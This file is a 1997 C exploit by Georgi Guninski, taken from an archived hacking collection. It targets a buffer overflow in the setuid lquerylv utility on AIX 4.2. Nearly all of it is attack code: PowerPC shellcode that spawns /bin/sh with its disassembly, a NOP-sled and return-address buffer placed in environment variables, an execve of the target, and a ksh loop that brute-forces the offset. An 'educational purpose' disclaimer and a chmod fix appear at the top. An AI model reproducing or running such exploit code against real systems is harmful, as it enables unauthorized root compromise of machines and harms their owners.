home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / lquerylv.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  5KB  |  188 lines

  1. /*
  2.  AIX 4.2,(others?) lquerylv exploit by Georgi Guninski
  3.  
  4. ----------------------------------------
  5. DISCLAIMER
  6.  
  7.  This program is for educational purpose ONLY. Do not use it without
  8. permission.
  9.  The usual standard disclaimer applies, especially the fact that Georgi
  10. Guninski
  11.  is not liable for any damages caused by direct or  indirect use of
  12.  the information or functionality provided by this program.
  13.  Georgi Guninski, his employer or any Internet provider bears NO
  14. responsibility for content
  15.  or misuse of this program or any derivatives thereof.
  16.  By using this program you accept the fact that any damage (dataloss,
  17. system
  18.  crash, system compromise, etc.) caused by the use of this program is not
  19.  Georgi Guninski's responsibility.
  20.  
  21. In case you distribute this, please keep the disclaimer and my addresses.
  22. -----------------------------------------
  23. Use the IBM C compiler.
  24. Compile with: cc -g aixlquerylv.c
  25. SOLUTION: #chmod -s /usr/sbin/lquerylv
  26. -----------------
  27. Georgi Guninski
  28.  guninski@hotmail.com
  29.  sgg@vmei.acad.bg
  30.  guninski@linux2.vmei.acad.bg
  31.  http://www.geocities.com/ResearchTriangle/1711
  32.  
  33. Suggestions,comments and job offers are welcome!
  34. 26-MAY-97
  35. */
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <string.h>
  39.  
  40.  
  41. char prog[100]="/usr/sbin/lquerylv";
  42. char prog2[30]="lquerylv";
  43. extern int execv();
  44.  
  45. char *createvar(char *name,char *value)
  46. {
  47. char *c;
  48. int l;
  49. l=strlen(name)+strlen(value)+4;
  50. if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  51. strcpy(c,name);
  52. strcat(c,"=");
  53. strcat(c,value);
  54. putenv(c);
  55. return c;
  56. }
  57.  
  58. /*The program*/
  59. main(int argc,char **argv,char **env)
  60. {
  61. /*The code*/
  62. unsigned int code[]={
  63. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  64. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  65. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  66. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  67. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  68. 0x7c0903a6 , 0x4e800420, 0x0
  69. };
  70. /* disassembly
  71. 7c0802a6        mfspr   r0,LR
  72. 9421fbb0        stu     SP,-1104(SP) --get stack
  73. 90010458        st      r0,1112(SP)
  74. 3c60f019        cau     r3,r0,0xf019 --CTR
  75. 60632c48        lis     r3,r3,11336  --CTR
  76. 90610440        st      r3,1088(SP)
  77. 3c60d002        cau     r3,r0,0xd002 --TOC
  78. 60634c0c        lis     r3,r3,19468  --TOC
  79. 90610444        st      r3,1092(SP)
  80. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  81. 6063696e        lis     r3,r3,26990
  82. 90610438        st      r3,1080(SP)
  83. 3c602f73        cau     r3,r0,0x2f73
  84. 60636801        lis     r3,r3,26625
  85. 3863ffff        addi    r3,r3,-1
  86. 9061043c        st      r3,1084(SP) --terminate with 0
  87. 30610438        lis     r3,SP,1080
  88. 7c842278        xor     r4,r4,r4    --argv=NULL
  89. 80410440        lwz     RTOC,1088(SP)
  90. 80010444        lwz     r0,1092(SP) --jump
  91. 7c0903a6        mtspr   CTR,r0
  92. 4e800420        bctr              --jump
  93. */
  94.  
  95. #define MAXBUF 600
  96. unsigned int buf[MAXBUF];
  97. unsigned int frame[MAXBUF];
  98. unsigned int i,nop,mn;
  99. int max;
  100. int QUIET=0;
  101. int dobuf=0;
  102. unsigned int toc;
  103. unsigned int eco;
  104. unsigned int *pt;
  105. char *t;
  106. int ch;
  107. unsigned int reta; /* return address */
  108. int corr=4600;
  109. char *args[4];
  110. char *arg1="-L";
  111. char *newenv[8];
  112. int startwith=0;
  113.  
  114. mn=100;
  115. max=280;
  116.  
  117. if (argc>1)
  118.         corr = atoi(argv[1]);
  119.  
  120. pt=(unsigned *) &execv;
  121. toc=*(pt+1);
  122. eco=*pt;
  123.  
  124. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  125. {
  126.         perror("Bad parameters");
  127.         exit(1);
  128. }
  129.  
  130. #define OO 7
  131. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  132. *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  133. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  134. *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  135. 0x0000ffff);
  136.  
  137. reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  138.  
  139. for(nop=0;nop<mn;nop++)
  140.  buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  141. strcpy((char*)&buf[nop],(char*)&code);
  142. i=nop+strlen( (char*) &code)/4-1;
  143.  
  144. if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  145.         || !(reta && 0xff000000))
  146. {
  147. perror("Return address has zero");exit(5);
  148. }
  149.  
  150. while(i++<max)
  151.  buf[i]=reta;
  152. buf[i]=0;
  153.  
  154. for(i=0;i<max-1;i++)
  155.  frame[i]=reta;
  156. frame[i]=0;
  157.  
  158. if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
  159.  
  160. /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
  161. newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  162. newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  163. newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  164. newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  165.  
  166.  
  167. newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  168. newenv[5]=NULL;
  169.  
  170. args[0]=prog2;
  171. args[1]=arg1;
  172. args[2]=(char*)&frame[0]; /* Just frame pointers */
  173. puts("Start...");/*Here we go*/
  174. execve(prog,args,newenv);
  175. perror("Error executing execve \n");
  176. }
  177. /* ----------sometimes this helps-----------------
  178. #!/bin/ksh
  179. L=100
  180. O=40
  181. while [ $L -lt 12000 ]
  182. do
  183. echo $L
  184. L=`expr $L + 42`
  185. ./a.out $L
  186. done
  187. */
  188.